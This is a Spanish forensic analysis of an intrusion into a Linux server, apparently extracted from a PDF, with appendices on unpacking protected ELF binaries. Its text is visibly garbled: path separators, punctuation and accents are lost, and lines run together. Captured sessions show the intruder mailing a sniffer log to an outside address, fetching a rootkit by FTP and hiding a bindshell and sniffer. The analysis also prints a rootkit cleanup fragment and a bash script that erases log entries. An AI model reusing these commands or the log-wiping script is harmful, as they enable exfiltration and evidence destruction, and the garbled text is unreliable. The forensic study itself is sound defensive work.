6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

